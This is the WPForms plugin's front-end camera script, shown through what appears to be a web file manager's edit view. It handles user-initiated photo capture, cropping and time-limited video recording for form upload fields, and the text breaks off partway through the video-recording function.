Файловый менеджер - Редактировать - /home/avadvi5/public_html/fcolliver.com/wp-content/plugins/wpforms/assets/pro/js/frontend/fields/camera.js
Ðазад
/* global wpforms_camera_frontend */ /** * @param wpforms_camera_frontend.wait_time */ // noinspection ES6ConvertVarToLetConst /** * WPForms camera functionality. * * @since 1.9.8 */ // eslint-disable-next-line no-var var WPForms = window.WPForms || {}; WPForms.Camera = WPForms.Camera || ( function( document, window, $ ) { /** * Localized strings. * * @since 1.9.8 * * @type {Object} */ const strings = wpforms_camera_frontend.strings; const app = { /** * Stream object for camera access. * * @since 1.9.8 * * @type {MediaStream|null} */ stream: null, /** * Current camera facing mode. * * @since 1.9.8 * * @type {string} */ currentFacingMode: 'user', /** * Start the engine. * * @since 1.9.8 */ init() { // Document ready. $( app.ready ); }, /** * Document ready. * * @since 1.9.8 */ ready() { app.events(); }, /** * Events. * * @since 1.9.8 */ events() { // Find all form containers that might contain camera elements. const formContainers = document.querySelectorAll( '.wpforms-container' ); // Add the camera click handler to each form container. formContainers.forEach( function( container ) { app.addCameraClickHandler( container ); } ); $( document ).on( 'click', '.wpforms-camera-link, .wpforms-camera-button', app.openModal ); $( document ).on( 'click', '.wpforms-camera-capture', app.capture ); $( document ).on( 'click', '.wpforms-camera-remove-file', app.clearSelectedFile ); $( document ).on( 'click', '.wpforms-camera-flip', app.flipCamera ); }, /** * Add the camera click handler to a container. * * @since 1.9.8 * * @param {Element} container The container element to add the handler to. */ addCameraClickHandler( container ) { container.addEventListener( 'click', function( event ) { // Check if the clicked element is a camera element or contains one if ( event.target.classList.contains( 'wpforms-camera' ) || event.target.closest( '.wpforms-camera' ) ) { event.preventDefault(); event.stopPropagation(); event.stopImmediatePropagation(); // Open the camera modal. app.openModal( event ); // Prevent default browser behavior return false; } }, true ); }, /** * Open camera modal. * * @since 1.9.8 * * @param {Object} event Click event. */ openModal( event ) { event.preventDefault(); // Remove focus from the clicked element to avoid duplicate modal openings after the `enter` keypress. event.target.blur(); // Save current scroll position to prevent page from scrolling to the top. const scrollTop = window.scrollY || document.documentElement.scrollTop; document.body.style.top = `-${ scrollTop }px`; // Prepare variables. const $field = $( event.target.closest( '.wpforms-field' ) ); const fieldId = $field.data( 'field-id' ); const formId = $field.closest( '.wpforms-form' ).data( 'formid' ); const $modalOverlay = $( `#wpforms-camera-modal-${ formId }-${ fieldId }` ); // Format initial timer display const $videoCountdown = $modalOverlay.find( '.wpforms-camera-video-countdown' ); if ( $videoCountdown.length ) { const timeLimit = parseInt( $videoCountdown.data( 'time-limit' ), 10 ) || 30; const $countdownSpan = $videoCountdown.find( 'span' ); $countdownSpan.text( app.formatTime( timeLimit ) ); } // Prevent body scroll. $( 'body' ).addClass( 'wpforms-camera-modal-open' ); // Maybe show the flip button. if ( app.isPhone() ) { $modalOverlay.find( '.wpforms-camera-flip' ).addClass( 'wpforms-camera-flip-active' ); } // Show the modal. $modalOverlay.css( 'display', 'flex' ); // Initialize camera. app.initCamera( formId, fieldId ); // Add the modal event listeners. const $closeBtn = $modalOverlay.find( '.wpforms-camera-modal-close' ); $closeBtn.off( 'click' ).on( 'click', function() { app.closeModal( $modalOverlay ); } ); // Add the keyboard event listener for spacebar to trigger capture. app.addKeyboardListener( $modalOverlay ); }, /** * Close camera modal. * * @since 1.9.8 * * @param {Object} $modalOverlay Modal. */ closeModal( $modalOverlay ) { app.stopCamera(); // Remove keyboard event listener. app.removeKeyboardListener( $modalOverlay ); // Restore body scroll. $( 'body' ).removeClass( 'wpforms-camera-modal-open' ); // Restore scroll position. const scrollTop = parseInt( document.body.style.top || '0', 10 ); document.body.style.top = ''; window.scrollTo( 0, Math.abs( scrollTop ) ); $modalOverlay.css( 'display', 'none' ); $modalOverlay.find( '.wpforms-camera-captured-photo' ).remove(); $modalOverlay.find( '.wpforms-camera-captured-video' ).remove(); $modalOverlay.find( '.wpforms-camera-modal-buttons' ).hide(); $modalOverlay.find( '.wpforms-camera-stop' ).hide(); // Clean up cropper data and elements. $modalOverlay.find( 'cropper-canvas' ).remove(); $modalOverlay.removeData( 'cropper' ); $modalOverlay.removeData( 'cropped-blob' ); // Show video preview and initial buttons. $modalOverlay.find( 'video' ).show(); $modalOverlay.find( '.wpforms-camera-modal-actions' ).css( 'display', 'flex' ); $modalOverlay.find( '.wpforms-camera-capture' ).show(); // Trigger custom event for conversational forms compatibility. const formId = $modalOverlay.data( 'form-id' ); const fieldId = $modalOverlay.data( 'field-id' ); if ( formId && fieldId ) { $( document ).trigger( 'wpforms-camera-modal-closed', { formId, fieldId, modalOverlay: $modalOverlay, } ); } }, /** * Add keyboard event listener for camera modal. * * @since 1.9.8 * * @param {jQuery} $modalOverlay Modal overlay element. */ addKeyboardListener( $modalOverlay ) { const keyboardHandler = function( event ) { // Only trigger on the spacebar (keyCode 32) and when modal is visible. if ( event.keyCode === 32 && $modalOverlay.css( 'display' ) === 'flex' ) { event.preventDefault(); // Check if the stop button is visible (during video recording). const $stopButton = $modalOverlay.find( '.wpforms-camera-stop' ); if ( $stopButton.is( ':visible' ) ) { // Trigger stop recording. $stopButton.trigger( 'click' ); return; } // Check if the capture button is visible and enabled. const $captureButton = $modalOverlay.find( '.wpforms-camera-capture' ); if ( $captureButton.is( ':visible' ) && ! $captureButton.prop( 'disabled' ) ) { // Trigger capture. $captureButton.trigger( 'click' ); } } }; // Store the handler reference for later removal. $modalOverlay.data( 'keyboard-handler', keyboardHandler ); // Add event listener to document. $( document ).on( 'keydown.wpforms-camera', keyboardHandler ); }, /** * Remove keyboard event listener for camera modal. * * @since 1.9.8 * * @param {jQuery} $modalOverlay Modal overlay element. */ removeKeyboardListener( $modalOverlay ) { const keyboardHandler = $modalOverlay.data( 'keyboard-handler' ); if ( keyboardHandler ) { // Remove event listener from document. $( document ).off( 'keydown.wpforms-camera', keyboardHandler ); // Remove handler reference. $modalOverlay.removeData( 'keyboard-handler' ); } }, /** * Initialize camera. * * @since 1.9.8 * * @param {number} formId Form ID. * @param {number} fieldId Field ID. */ initCamera( formId, fieldId ) { const $videoEl = $( `#wpforms-camera-video-${ formId }-${ fieldId }` ); const $previewContainer = $( `#wpforms-camera-modal-${ formId }-${ fieldId } .wpforms-camera-preview` ); const $errorContainer = $( `#wpforms-camera-modal-${ formId }-${ fieldId } .wpforms-camera-error` ); const $modalOverlay = $( `#wpforms-camera-modal-${ formId }-${ fieldId }` ); const videoEl = $videoEl.get( 0 ); const $captureButton = $modalOverlay.find( '.wpforms-camera-capture' ); // Determine if we're in video mode. const isVideoMode = $modalOverlay.hasClass( 'wpforms-camera-format-video' ); // Reset display state. $previewContainer.css( 'display', 'flex' ); $errorContainer.hide(); // Stop any existing stream. app.stopCamera(); // Request camera access with audio if in video mode. const constraints = { audio: isVideoMode, video: { facingMode: app.currentFacingMode, height: { ideal: 960, max: 1280 }, frameRate: { ideal: 24, max: 30 }, }, }; navigator.mediaDevices.getUserMedia( constraints ) .then( function( stream ) { app.stream = stream; videoEl.srcObject = stream; $captureButton.removeAttr( 'disabled' ); } ) .catch( function() { const errorText = isVideoMode ? strings.camera_video_access_error : strings.camera_access_error; $previewContainer.hide(); $errorContainer.text( errorText ).show(); } ); }, /** * Phone detection. * * @since 1.9.8 * * @return {boolean} True if it's phone, false otherwise. */ isPhone() { if ( navigator.userAgentData?.mobile !== undefined ) { return navigator.userAgentData.mobile; } const isIPadOS = navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1; const ua = navigator.userAgent.toLowerCase(); const uaPhone = /(iphone|ipod|android.*mobile|windows phone|bb10|opera mini|mobile safari)/.test( ua ); const coarse = matchMedia( '(pointer: coarse)' ).matches; const noHover = matchMedia( '(hover: none)' ).matches; const touch = ( 'ontouchstart' in window ) || navigator.maxTouchPoints > 0; return ( ! isIPadOS && uaPhone ) || ( ( coarse || noHover ) && touch ); }, /** * Stop the camera stream. * * @since 1.9.8 */ stopCamera() { // Stop any active recording. $( '.wpforms-camera-modal-overlay' ).each( function() { const $modal = $( this ); const mediaRecorder = $modal.data( 'media-recorder' ); if ( mediaRecorder && mediaRecorder.state === 'recording' ) { mediaRecorder.stop(); } // Clear any active countdown timer. const countdownTimer = $modal.data( 'countdown-timer' ); if ( countdownTimer ) { clearInterval( countdownTimer ); } } ); // Stop all tracks in the stream. if ( app.stream ) { $.each( app.stream.getTracks(), function( index, track ) { track.stop(); } ); app.stream = null; } }, /** * Flip camera between front and back. * * @since 1.9.8 * * @param {Object} event Click event. */ flipCamera( event ) { // Only allow flipping on mobile devices. if ( ! app.isPhone() ) { return; } // Prevent default behavior. if ( event ) { event.preventDefault(); } // Find the modal overlay from the event target. const $target = $( event.target ); const $modalOverlay = $target.closest( '.wpforms-camera-modal-overlay' ); if ( ! $modalOverlay.length ) { return; } // Get form and field IDs. const formId = $modalOverlay.data( 'form-id' ); const fieldId = $modalOverlay.data( 'field-id' ); // Toggle the facing mode. app.currentFacingMode = app.currentFacingMode === 'user' ? 'environment' : 'user'; // Reinitialize the camera with the new facing mode. app.initCamera( formId, fieldId ); }, /** * Capture image from camera with countdown timer. * * @since 1.9.8 * * @param {Object} event Click event. */ capture( event ) { event.preventDefault(); const $captureButton = $( event.currentTarget ); const $modalOverlay = $captureButton.closest( '.wpforms-camera-modal-overlay' ); const formId = $modalOverlay.data( 'form-id' ); const fieldId = $modalOverlay.data( 'field-id' ); app.captureAnimation( $captureButton, formId, fieldId ); }, /** * Run photo capture animation. * * @since 1.9.8 * * @param {jQuery} $captureButton Clicked button. * @param {number} formId Form ID. * @param {number} fieldId Field ID. */ captureAnimation( $captureButton, formId, fieldId ) { const $countdownEl = $captureButton.parent().find( '.wpforms-camera-countdown' ); const $numberEl = $countdownEl.find( 'span' ); const format = $countdownEl.closest( '.wpforms-camera-modal-overlay' ).hasClass( 'wpforms-camera-format-photo' ) ? 'photo' : 'video'; $captureButton.closest( '.wpforms-camera-modal-overlay' ).find( '.wpforms-camera-flip' ).removeClass( 'wpforms-camera-flip-active' ); // Hide original button and show countdown. $captureButton.hide(); $countdownEl.css( 'display', 'flex' ); // Start the CSS animation. setTimeout( function() { $countdownEl.addClass( 'animate' ); }, 50 ); // Update the counter text. let count = wpforms_camera_frontend.wait_time; const timeInterval = count > 0 ? 1000 : 0; const updateCounter = function() { count--; if ( count > 0 ) { $numberEl.text( count ); setTimeout( updateCounter, 1000 ); } else { // The countdown is complete, capture the photo immediately. $countdownEl.removeClass( 'animate' ).hide(); // Reset the counter for next use $numberEl.text( wpforms_camera_frontend.wait_time.toString() ); // Capture the photo or video if ( format === 'photo' ) { $captureButton.css( 'display', 'flex' ); app.takePhoto( formId, fieldId ); } else { app.recordVideo( formId, fieldId ); } } }; setTimeout( updateCounter, timeInterval ); }, /** * Take a photo from the camera stream. * * @since 1.9.8 * * @param {number} formId Form ID. * @param {number} fieldId Field ID. */ takePhoto( formId, fieldId ) { if ( ! app.stream ) { return; } const $modalOverlay = $( `#wpforms-camera-modal-${ formId }-${ fieldId }` ); const $videoEl = $( `#wpforms-camera-video-${ formId }-${ fieldId }` ); const $canvas = $( `#wpforms-camera-canvas-${ formId }-${ fieldId }` ); const $previewContainer = $modalOverlay.find( '.wpforms-camera-preview' ); const videoEl = $videoEl.get( 0 ); const canvas = $canvas.get( 0 ); // Set canvas dimensions to match the video stream's actual dimensions. const width = videoEl.videoWidth; const height = videoEl.videoHeight; canvas.width = width; canvas.height = height; // Draw the current video frame to the canvas. const ctx = canvas.getContext( '2d' ); ctx.drawImage( videoEl, 0, 0, width, height ); // Hide video. $videoEl.hide(); // Create an image element to display the captured photo. const $imgElement = $( '<img>', { class: 'wpforms-camera-captured-photo', src: canvas.toDataURL( 'image/jpeg', 0.92 ), } ); // Add the image to the preview container. $previewContainer.append( $imgElement ); // Hide the capture button and show Accept/Cancel buttons. $modalOverlay.find( '.wpforms-camera-modal-actions' ).hide(); const $modalButtons = $modalOverlay.find( '.wpforms-camera-modal-buttons' ); $modalButtons.show(); this.addPhotoHandlers( $modalButtons, canvas, $modalOverlay, formId, fieldId, $previewContainer, $videoEl ); }, /** * Add event handlers for photo capture buttons. * * @since 1.9.8 * * @param {jQuery} $modalButtons Modal buttons container. * @param {HTMLElement} canvas Canvas element. * @param {jQuery} $modalOverlay Modal overlay element. * @param {number} formId Form ID. * @param {number} fieldId Field ID. * @param {jQuery} $previewContainer Preview container element. * @param {jQuery} $videoEl Video element. */ // eslint-disable-next-line max-lines-per-function addPhotoHandlers( $modalButtons, canvas, $modalOverlay, formId, fieldId, $previewContainer, $videoEl ) { // Accept button handler. $modalButtons.find( '.wpforms-camera-accept' ).off( 'click' ).on( 'click', function( event ) { event.preventDefault(); // Check if we have a cropped blob saved (after cropping was applied). const croppedBlob = $modalOverlay.data( 'cropped-blob' ); if ( croppedBlob ) { // Close the modal. app.closeModal( $modalOverlay ); // Attach the cropped file to the upload field. app.attachFile( formId, fieldId, croppedBlob ); $modalOverlay.css( 'display', 'none' ); } else { // Use the original canvas if no cropping was applied. canvas.toBlob( function( blob ) { if ( ! blob ) { return; } // Close the modal. app.closeModal( $modalOverlay ); // Attach the file to the upload field. app.attachFile( formId, fieldId, blob ); $modalOverlay.css( 'display', 'none' ); }, 'image/jpeg', 0.92 ); } } ); // Cancel button handler. $modalButtons.find( '.wpforms-camera-cancel' ).off( 'click' ).on( 'click', function( event ) { event.preventDefault(); // Remove captured photo. $previewContainer.find( '.wpforms-camera-captured-photo' ).remove(); // Show video and capture the button again. $videoEl.show(); $modalOverlay.find( '.wpforms-camera-modal-actions' ).css( 'display', 'flex' ); $modalButtons.hide(); // Remove crop data. $modalOverlay.removeData( 'cropped-blob' ); $modalOverlay.find( 'cropper-canvas' ).remove(); // Restore button states. $modalButtons.find( '.wpforms-camera-accept-crop' ).hide(); $modalButtons.find( '.wpforms-camera-crop-cancel' ).hide(); $modalButtons.find( '.wpforms-camera-crop' ).show(); $modalButtons.find( '.wpforms-camera-accept' ).show(); $modalOverlay.find( '.wpforms-camera-flip' ).addClass( 'wpforms-camera-flip-active' ); } ); // Crop button handler (using event delegation for dynamic class changes). $modalButtons.off( 'click', '.wpforms-camera-crop' ).on( 'click', '.wpforms-camera-crop', function( event ) { event.preventDefault(); const cropper = app.initCropper( $previewContainer ); $modalOverlay.data( 'cropper', cropper ); $( this ).hide(); $modalButtons.find( '.wpforms-camera-accept' ).hide(); $modalButtons.find( '.wpforms-camera-accept-crop' ).show(); $modalButtons.find( '.wpforms-camera-crop-cancel' ).show(); } ); // The `crop cancel` button handler (using event delegation for dynamic class changes). $modalButtons.off( 'click', '.wpforms-camera-crop-cancel' ).on( 'click', '.wpforms-camera-crop-cancel', function( event ) { event.preventDefault(); app.cancelCrop( $modalOverlay, $modalButtons ); } ); // The `crop accept` button handler. $modalButtons.off( 'click', '.wpforms-camera-accept-crop' ).on( 'click', '.wpforms-camera-accept-crop', function( event ) { event.preventDefault(); app.acceptCrop( $modalOverlay, $modalButtons ); } ); }, /** * Accept crop. * * @since 1.9.8 * * @param {jQuery} $modalOverlay Modal overlay element. * @param {jQuery} $modalButtons Modal buttons container. */ acceptCrop( $modalOverlay, $modalButtons ) { // Get the cropper instance and remove cropper elements from DOM. const cropper = $modalOverlay.data( 'cropper' ); const cropperSelection = cropper.getCropperSelection(); const capturedPhoto = $modalOverlay.find( '.wpforms-camera-captured-photo' ); // Create canvas using manual method. const canvas = app.createManualCroppedCanvas( cropper, cropperSelection, capturedPhoto ); // If canvas creation failed, cancel crop. if ( ! canvas ) { app.cancelCrop( $modalOverlay, $modalButtons ); return; } // Convert canvas to blob and update the image. canvas.toBlob( function( blob ) { if ( blob ) { const imageUrl = URL.createObjectURL( blob ); capturedPhoto.attr( 'src', imageUrl ); // Store the cropped blob for later use. $modalOverlay.data( 'cropped-blob', blob ); } }, 'image/jpeg', 0.92 ); // Remove cropper elements from DOM. $modalOverlay.find( 'cropper-canvas' ).remove(); // Clear the cropper data. $modalOverlay.removeData( 'cropper' ); // Show the captured photo again. $modalOverlay.find( '.wpforms-camera-captured-photo' ).show(); // Restore button states. $modalButtons.find( '.wpforms-camera-crop-cancel' ).hide(); $modalButtons.find( '.wpforms-camera-accept-crop' ).hide(); $modalButtons.find( '.wpforms-camera-crop' ).show(); $modalButtons.find( '.wpforms-camera-accept' ).show(); }, /** * Cancel crop mode and restore original state. * * @since 1.9.8 * * @param {jQuery} $modalOverlay Modal overlay element. * @param {jQuery} $modalButtons Modal buttons container. */ cancelCrop( $modalOverlay, $modalButtons ) { // Get the cropper instance and remove cropper elements from DOM. const cropper = $modalOverlay.data( 'cropper' ); if ( cropper ) { // Remove cropper elements from DOM. $modalOverlay.find( 'cropper-canvas' ).remove(); // Clear the cropper data. $modalOverlay.removeData( 'cropper' ); // Show the captured photo again. $modalOverlay.find( '.wpforms-camera-captured-photo' ).show(); } // Clear any previously saved cropped blob since we're canceling. $modalOverlay.removeData( 'cropped-blob' ); // Restore button states. $modalButtons.find( '.wpforms-camera-crop-cancel' ).hide(); $modalButtons.find( '.wpforms-camera-accept-crop' ).hide(); $modalButtons.find( '.wpforms-camera-accept' ).show(); $modalButtons.find( '.wpforms-camera-crop' ).show(); }, /** * Create cropped canvas. * * @since 1.9.8 * * @param {Object} cropper Cropper instance. * @param {Object} cropperSelection Cropper selection element. * @param {jQuery} capturedPhoto Captured photo element. * * @return {HTMLCanvasElement|null} Canvas element or null if failed. */ createManualCroppedCanvas( cropper, cropperSelection, capturedPhoto ) { // Get the original image. const img = capturedPhoto[ 0 ]; if ( ! img || ! img.complete ) { return null; } // Get cropper canvas and selection bounds. const cropperCanvas = cropper.getCropperCanvas(); const canvasBounds = cropperCanvas.getBoundingClientRect(); const selectionBounds = cropperSelection.getBoundingClientRect(); // Calculate relative position and size. const relativeX = ( selectionBounds.left - canvasBounds.left ) / canvasBounds.width; const relativeY = ( selectionBounds.top - canvasBounds.top ) / canvasBounds.height; const relativeWidth = selectionBounds.width / canvasBounds.width; const relativeHeight = selectionBounds.height / canvasBounds.height; // Get natural image dimensions. const naturalWidth = img.naturalWidth || img.width; const naturalHeight = img.naturalHeight || img.height; // Calculate crop area in image coordinates. const cropX = Math.max( 0, Math.floor( relativeX * naturalWidth ) ); const cropY = Math.max( 0, Math.floor( relativeY * naturalHeight ) ); const cropWidth = Math.min( naturalWidth - cropX, Math.floor( relativeWidth * naturalWidth ) ); const cropHeight = Math.min( naturalHeight - cropY, Math.floor( relativeHeight * naturalHeight ) ); // Validate crop parameters. if ( cropWidth <= 0 || cropHeight <= 0 ) { return null; } // Create canvas and draw cropped image. const canvas = document.createElement( 'canvas' ); canvas.width = cropWidth; canvas.height = cropHeight; const ctx = canvas.getContext( '2d' ); ctx.imageSmoothingEnabled = true; ctx.imageSmoothingQuality = 'high'; // Draw the cropped portion of the image. ctx.drawImage( img, cropX, cropY, cropWidth, cropHeight, 0, 0, cropWidth, cropHeight ); return canvas; }, /** * Init Cropper.js and return instance. * * @since 1.9.8 * * @param {jQuery} $previewContainer Preview container element. * @return {Object} Cropper instance. */ initCropper( $previewContainer ) { // eslint-disable-next-line new-cap const CropperClass = ( window.Cropper && window.Cropper.default ) || window.Cropper; const containerEl = $previewContainer[ 0 ]; const $img = $previewContainer.find( '.wpforms-camera-captured-photo' ); // Init Cropper. const cropper = new CropperClass( $img[ 0 ], { container: containerEl, template: app.getCropperTemplate(), } ); //Tweak cropper. const cropperCanvas = cropper.getCropperCanvas(); const cropperSelection = cropper.getCropperSelection(); const grid = document.querySelector( 'cropper-grid' ); // Add border to the grid. grid.$addStyles( ` :host>span+span { border-top: 1px solid #fff; } :host>span>span+span { border-left: 1px solid #fff; } ` ); // Dont allow going outside the canvas. if ( cropperCanvas && cropperSelection ) { // Keep the selection inside the canvas app.limitCropperBoundaries( cropperCanvas, cropperSelection ); } return cropper; }, /** * Get the Cropper.js template. * * @since 1.9.8 * * @return {string} Cropper template. */ getCropperTemplate() { return ` <cropper-canvas background> <cropper-image></cropper-image> <cropper-shade theme-color="rgba(0, 0, 0, 0.75)"></cropper-shade> <cropper-handle action="select" plain></cropper-handle> <cropper-selection initial-coverage="0.7" movable resizable> <cropper-grid role="grid" theme-color="#fff" bordered covered></cropper-grid> <cropper-handle action="move" theme-color="transparent"></cropper-handle> <cropper-handle theme-color="#fff" action="n-resize"></cropper-handle> <cropper-handle theme-color="#fff" action="e-resize"></cropper-handle> <cropper-handle theme-color="#fff" action="s-resize"></cropper-handle> <cropper-handle theme-color="#fff" action="w-resize"></cropper-handle> <cropper-handle theme-color="#fff" action="ne-resize"></cropper-handle> <cropper-handle theme-color="#fff" action="nw-resize"></cropper-handle> <cropper-handle theme-color="#fff" action="se-resize"></cropper-handle> <cropper-handle theme-color="#fff" action="sw-resize"></cropper-handle> </cropper-selection> </cropper-canvas> `; }, /** * Limit the Cropper.js boundaries to the canvas. * * @param {Object} cropperCanvas Cropper Canvas element. * @param {Object} cropperSelection Cropper Selection element. * * @since 1.9.8 */ limitCropperBoundaries( cropperCanvas, cropperSelection ) { cropperSelection.addEventListener( 'change', ( e ) => { // e.detail = { x, y, width, height } in CSS pixels. const { x, y, width, height } = e.detail; const { width: cw, height: ch } = cropperCanvas.getBoundingClientRect(); // Check boundaries. const inside = x >= 0 && y >= 0 && x + width <= cw && y + height <= ch; // Cancel this change if it would go outside. if ( ! inside ) { e.preventDefault(); } } ); }, /** * Check if the browser supports MediaRecorder. * * @since 1.9.8 * * @return {boolean} True if MediaRecorder is supported. */ isMediaRecorderSupported() { return typeof MediaRecorder !== 'undefined'; }, /** * Handle case when MediaRecorder is not supported. * * @since 1.9.8 * * @param {number} formId Form ID. * @param {number} fieldId Field ID. */ handleUnsupportedMediaRecorder( formId, fieldId ) { const $modalOverlay = $( `#wpforms-camera-modal-${ formId }-${ fieldId }` ); const $previewContainer = $modalOverlay.find( '.wpforms-camera-preview' ); const $errorContainer = $modalOverlay.find( '.wpforms-camera-error' ); // Hide preview and show error. $previewContainer.hide(); $errorContainer.text( strings.video_recording_error ).show(); }, /** * Get the supported MIME type for video recording. * * @since 1.9.8 * * @return {Object} Object with mimeType and extension properties. */ getSupportedVideoType() { // Default to the WebM, which works in Chrome, Firefox, Edge. let result = { mimeType: 'video/webm;codecs=vp9,opus', extension: 'webm', videoBitsPerSecond: 2500000, // 2.5 Mbps }; // Check for Safari support (MP4 with H.264) const isSafari = /^((?!chrome|android).)*safari/i.test( navigator.userAgent ); // Safari requires special handling. if ( isSafari ) { // Try MP4 for Safari. if ( MediaRecorder.isTypeSupported( 'video/mp4' ) ) { result = { mimeType: 'video/mp4', extension: 'mp4', videoBitsPerSecond: 2500000, }; } } else { // For non-Safari browsers, try different codecs in order of preference. const types = [ 'video/webm;codecs=vp9,opus', 'video/webm;codecs=vp8,opus', 'video/webm', ]; for ( const type of types ) { if ( MediaRecorder.isTypeSupported( type ) ) { result.mimeType = type; break; } } } return result; }, /** * Create a MediaRecorder instance with appropriate settings. * * @since 1.9.8 * * @param {Object} videoConfig Video configuration object. * @param {jQuery} $previewContainer Preview container element. * @param {jQuery} $errorContainer Error container element. * @param {jQuery} $cameraStop Stop button element. * * @return {MediaRecorder|null} MediaRecorder instance or null if creation failed. */ createMediaRecorder( videoConfig, $previewContainer, $errorContainer, $cameraStop ) { try { return new MediaRecorder( app.stream, { mimeType: videoConfig.mimeType, videoBitsPerSecond: videoConfig.videoBitsPerSecond, } ); } catch ( e ) { try { // Try without options as a fallback. return new MediaRecorder( app.stream ); } catch ( err ) { $previewContainer.hide(); $errorContainer.text( strings.video_recording_error ).show(); $cameraStop.hide(); return null; } } }, /** * Setup video recording countdown timer. * * @since 1.9.8 * * @param {number} timeLimit Time limit in seconds. * @param {jQuery} $countdownSpan Countdown span element. * @param {MediaRecorder} mediaRecorder MediaRecorder instance. * @param {jQuery} $cameraStop Stop button element. * @param {jQuery} $modalOverlay Modal overlay element. * * @return {number} Interval ID for the countdown timer. */ setupRecordingTimer( timeLimit, $countdownSpan, mediaRecorder, $cameraStop, $modalOverlay ) { let remainingTime = timeLimit; // Update the initial countdown display. $countdownSpan.text( app.formatTime( remainingTime ) ); // Start the countdown timer. const countdownTimer = setInterval( function() { remainingTime--; $countdownSpan.text( app.formatTime( remainingTime ) ); // When time is up. if ( remainingTime <= 0 ) { clearInterval( countdownTimer ); // Stop recording. if ( mediaRecorder.state === 'recording' ) { mediaRecorder.stop(); } // Reset and hide the stop button. $cameraStop.hide(); } }, 1000 ); // Store the timer reference to clear it if stopped manually. $modalOverlay.data( 'countdown-timer', countdownTimer ); return countdownTimer; }, /** * Set up the stop recording button. * * @since 1.9.8 * * @param {jQuery} $cameraStop Stop button element. * @param {jQuery} $modalOverlay Modal overlay element. * @param {MediaRecorder} mediaRecorder MediaRecorder instance. * @param {number} timeLimit Time limit in seconds. * @param {jQuery} $countdownSpan Countdown span element. */ setupStopButton( $cameraStop, $modalOverlay, mediaRecorder, timeLimit, $countdownSpan ) { $cameraStop.off( 'click' ).on( 'click', function( event ) { event.preventDefault(); // Clear the countdown timer. clearInterval( $modalOverlay.data( 'countdown-timer' ) ); // Reset and hide the stop button. $cameraStop.hide(); // Stop the recording if it's still active. if ( mediaRecorder.state === 'recording' ) { mediaRecorder.stop(); } // Reset the countdown display. $countdownSpan.text( app.formatTime( timeLimit ) ); } ); }, /** * Set up the cancel video button. * * @param {jQuery} $modalOverlay Modal overlay element. * @since 1.9.8 */ setupCancelVideoButton( $modalOverlay ) { const $videoCancel = $modalOverlay.find( '.wpforms-camera-cancel-video' ); $videoCancel.show().off( 'click' ).on( 'click', function( event ) { event.preventDefault(); app.closeModal( $modalOverlay ); } ); }, /** * Handle video recording completion. * * @since 1.9.8 * * @param {Blob} blob Recorded video blob. * @param {string} blobType MIME type of the blob. * @param {number} formId Form ID. * @param {number} fieldId Field ID. * @param {Object} videoConfig Video configuration object. * @param {jQuery} $modalOverlay Modal overlay element. * @param {jQuery} $previewContainer Preview container element. */ handleRecordingComplete( blob, blobType, formId, fieldId, videoConfig, $modalOverlay, $previewContainer ) { // Create a URL for the recorded video const videoURL = URL.createObjectURL( blob ); const $videoEl = $( `#wpforms-camera-video-${ formId }-${ fieldId }` ); // Hide the original video element $videoEl.hide(); // Create and display the recorded video const $recordedVideo = this.createRecordedVideoElement( videoURL ); $previewContainer.append( $recordedVideo ); // Set up the UI for accepting or canceling the recording. this.setupRecordingAcceptUI( $modalOverlay, blob, blobType, videoURL, formId, fieldId, videoConfig, $videoEl, $previewContainer ); }, /** * Create a video element to display the recorded video. * * @since 1.9.8 * * @param {string} videoURL URL of the recorded video. * * @return {jQuery} jQuery video element. */ createRecordedVideoElement( videoURL ) { return $( '<video>', { class: 'wpforms-camera-captured-video', src: videoURL, controls: true, autoplay: true, muted: false, playsinline: true, // Important for iOS. } ); }, /** * Set up the UI for accepting or canceling the recording. * * @since 1.9.8 * * @param {jQuery} $modalOverlay Modal overlay element. * @param {Blob} blob Recorded video blob. * @param {string} blobType MIME type of the blob. * @param {string} videoURL URL of the recorded video. * @param {number} formId Form ID. * @param {number} fieldId Field ID. * @param {Object} videoConfig Video configuration object. * @param {jQuery} $videoEl Video element. * @param {jQuery} $previewContainer Preview container element. */ setupRecordingAcceptUI( $modalOverlay, blob, blobType, videoURL, formId, fieldId, videoConfig, $videoEl, $previewContainer ) { // Hide the capture button and show Accept/Cancel buttons. $modalOverlay.find( '.wpforms-camera-modal-actions' ).hide(); const $modalButtons = $modalOverlay.find( '.wpforms-camera-modal-buttons' ); $modalButtons.show(); // Accept button handler. $modalButtons.find( '.wpforms-camera-accept' ).off( 'click' ).on( 'click', function( event ) { event.preventDefault(); app.closeModal( $modalOverlay ); // Determine file extension based on the MIME type. const extension = videoConfig.extension || 'webm'; // Generate a filename with the timestamp const filename = `camera-video-${ Date.now() }.${ extension }`; const file = new File( [ blob ], filename, { type: blobType } ); // Attach the file to the upload field. app.attachFile( formId, fieldId, file ); // Close the modal. $modalOverlay.css( 'display', 'none' ); } ); // Cancel button handler. $modalButtons.find( '.wpforms-camera-cancel' ).off( 'click' ).on( 'click', function( event ) { event.preventDefault(); // Remove recorded video. $previewContainer.find( '.wpforms-camera-captured-video' ).remove(); // Release the object URL to free memory. URL.revokeObjectURL( videoURL ); // Show video and capture the button again. $videoEl.show(); $modalOverlay.find( '.wpforms-camera-capture' ).css( 'display', 'flex' ); $modalOverlay.find( '.wpforms-camera-modal-actions' ).css( 'display', 'flex' ); $modalOverlay.find( '.wpforms-camera-flip' ).addClass( 'wpforms-camera-flip-active' ); $modalButtons.hide(); } ); }, /** * Record a video from the camera stream. * * @since 1.9.8 * * @param {number} formId Form ID. * @param {number} fieldId Field ID. */ recordVideo( formId, fieldId ) { if ( ! app.stream ) { return; } // Check if MediaRecorder is supported. if ( ! app.isMediaRecorderSupported() ) { app.handleUnsupportedMediaRecorder( formId, fieldId ); return; } // Get DOM elements. const $modalOverlay = $( `#wpforms-camera-modal-${ formId }-${ fieldId }` ); const $cameraStop = $modalOverlay.find( '.wpforms-camera-stop' ); const $videoCountdown = $modalOverlay.find( '.wpforms-camera-video-countdown' ); const $previewContainer = $modalOverlay.find( '.wpforms-camera-preview' ); const $errorContainer = $modalOverlay.find( '.wpforms-camera-error' ); // Get time limit from data attribute. const timeLimit = parseInt( $videoCountdown.data( 'time-limit' ), 10 ) || 30; // Default to 30 seconds // Show the stop button. $cameraStop.show(); // Get the supported video type for this browser. const videoConfig = app.getSupportedVideoType(); // Create the MediaRecorder instance. const mediaRecorder = app.createMediaRecorder( videoConfig, $previewContainer, $errorContainer, $cameraStop ); if ( ! mediaRecorder ) { return; } // Setup data collection. const chunks = []; mediaRecorder.ondataavailable = function( event ) { if ( event.data && event.data.size > 0 ) { chunks.push( event.data ); } }; // 